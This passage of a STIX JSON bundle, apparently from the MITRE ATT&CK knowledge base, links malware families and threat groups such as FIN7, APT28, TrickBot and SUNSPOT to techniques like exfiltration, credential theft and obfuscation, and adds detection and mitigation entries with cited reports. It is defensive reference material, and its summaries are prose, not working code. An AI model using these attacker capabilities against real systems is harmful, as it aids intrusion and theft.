2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6193189a-f24c-4680-9a20-d191f42b9c97","type":"relationship","created":"2020-12-07T21:06:57.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T21:06:57.763Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has exfiltrated stolen data to Dropbox.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95fc970d-98cd-4bc9-895a-9534ba89c795","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","source_name":"FireEye Obfuscation June 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"},{"source_name":"CrowdStrike Carbon Spider August 2021","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}],"modified":"2021-09-22T14:40:08.766Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70d81631-4f33-4fd0-98ac-15b57b8c1ed1","type":"relationship","created":"2021-01-13T18:23:50.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T21:54:18.050Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.(Citation: CrowdStrike SUNSPOT Implant January 2021) ","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceaf4145-f168-4bba-8480-d3650bcc657f","type":"relationship","created":"2020-08-13T17:22:45.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks MCMD July 2019","url":"https://www.secureworks.com/research/mcmd-malware-analysis","description":"Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."}],"modified":"2020-08-13T17:22:45.929Z","description":"[MCMD](https://attack.mitre.org/software/S0500) can upload additional files to a compromised host.(Citation: Secureworks MCMD July 2019)","relationship_type":"uses","source_ref":"tool--975737f1-b10d-476f-8bda-3ec26ea57172","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--14534636-d9cf-408f-b878-c25d59cd4714","created":"2022-03-30T14:26:51.850Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to firmware for unexpected modifications to settings and/or data that may use a hidden file system to conceal malicious activity from users and security tools. [Bootkit](https://attack.mitre.org/techniques/T1542/003)","modified":"2022-04-20T02:03:49.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40a8f80d-5497-4218-849c-3c0b63796641","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. 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Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:49.027Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate system information.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8eaad388-b7ef-4fb8-88e6-c6f36065c8c4","type":"relationship","created":"2019-06-21T17:26:42.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-12-11T17:00:01.179Z","description":"Ensure proper system isolation for critical network systems through use of firewalls.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--396877b9-7276-4384-8475-38f7100d3380","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ASERT InnaputRAT April 2018","description":"ASERT Team. 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Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Group IB Ransomware May 2020","url":"https://www.group-ib.com/whitepapers/ransomware-uncovered.html","description":"Group IB. (2020, May). Ransomware Uncovered: Attackers’ Latest Methods. Retrieved August 5, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. 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En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"},{"source_name":"Talos Seduploader Oct 2017","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}],"modified":"2020-03-20T16:40:41.191Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018) [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim’s machine.(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--70bed654-4c16-456a-8691-4f2bf1c916cc","type":"relationship","created":"2021-05-26T15:09:52.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:29:06.848Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can execute <code>getinfo</code>  to identify the username on a compromised host.(Citation: BlackBerry CostaRicto November 2020)(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfd1c3ca-ea2c-4b0e-8b0a-815b8ebb4dfb","type":"relationship","created":"2020-06-08T17:22:35.556Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). 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Retrieved October 14, 2019."}],"modified":"2020-06-08T17:22:35.556Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to index files from drives, user profiles, and removable drives.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c7e778c-4193-44e5-85b4-ba7e7668455f","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8c10524a-c52a-4931-a246-959df48d4b63","type":"relationship","created":"2019-07-18T17:21:52.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-18T16:51:58.023Z","description":"When possible, store keys on separate cryptographic hardware instead of on the local system. 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Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can use various API calls to see if it is running in a sandbox.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:35:21.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b4016d43-d8c4-4ca2-b119-0681ebe8aaff","type":"relationship","created":"2020-06-04T19:45:16.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-04T19:45:16.042Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to decrypt strings using hard-coded AES keys.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--23c89ec7-3407-4f6d-8b4b-0ab16fbf356c","type":"relationship","created":"2020-09-11T15:22:21.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.555Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can determine the hostname and linux version on a compromised host.(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a7213656-7166-4b88-8d32-f388a2ef1671","type":"relationship","created":"2021-10-12T19:44:57.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Lazarus KillDisk April 2018","description":"Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.","url":"https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/"}],"modified":"2021-10-12T19:44:57.908Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has obtained and used open-source tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: ESET Lazarus KillDisk April 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--400ed882-80e9-47f7-85a6-11996fbbb635","type":"relationship","created":"2021-01-27T16:57:05.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-04-07T15:19:28.823Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used LNK files to download remote files to the victim's network.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c75b8dfa-5980-4686-9d74-b0c92ce60274","type":"relationship","created":"2021-07-27T13:06:37.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:18.540Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a Powershell cmdlet to grant the <code>ApplicationImpersonation</code> role to a compromised account.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e8101ce-f787-45f7-a593-62b664fbe08d","type":"relationship","created":"2019-03-25T15:05:23.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2020-03-20T18:59:00.643Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) attempts to copy itself to remote machines on the network.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--875b8782-2c5c-4ff8-8310-995d36fabeb2","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--608c5d3c-ba27-430d-8655-0ff7830fb5c5","type":"relationship","created":"2019-05-29T14:17:51.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2019-06-07T20:33:39.592Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6514cf17-0e40-4858-bd3e-58c8fb70796a","created":"2022-03-15T19:56:31.049Z","x_mitre_version":"1.0","external_references":[{"source_name":"KISA Operation Muzabi","url":"https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936","description":"KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has created social media accounts to monitor news and security trends as well as potential targets.(Citation: KISA Operation Muzabi)","modified":"2022-04-12T17:56:16.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bce63312-8382-4bd2-8ce4-9405fa0d25ff","type":"relationship","created":"2019-04-17T22:54:06.365Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2019-06-24T19:09:46.360Z","description":"[Stolen Pencil](https://attack.mitre.org/groups/G0086) has used tools that are capable of obtaining credentials from saved mail.(Citation: Netscout Stolen Pencil Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bc016a10-a594-495b-8822-ca054050f144","type":"relationship","created":"2020-09-11T13:27:44.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2021-01-22T16:21:40.210Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) can steal passwords from the KeePass open source password manager.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--717cce1c-bbb9-4735-80d0-3d13ea56f248","created":"2022-04-09T15:06:43.300Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. 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Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:15.036Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network connection discovery using <code>netstat</code>.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f283af63-1fdf-49d3-8a56-304c5be07a83","type":"relationship","created":"2020-06-08T18:06:36.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. 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(2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}],"modified":"2020-03-11T17:45:33.763Z","description":"[Remsec](https://attack.mitre.org/software/S0125) has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8fe9affe-bf8d-4392-882d-d3e737eb5c43","type":"relationship","created":"2020-10-15T12:05:58.959Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-07-28T01:04:39.674Z","description":"Consider disabling updating the ARP cache on gratuitous ARP replies.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91b07c1e-9344-422a-b233-1546f3f81c04","type":"relationship","created":"2020-09-23T13:28:47.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, 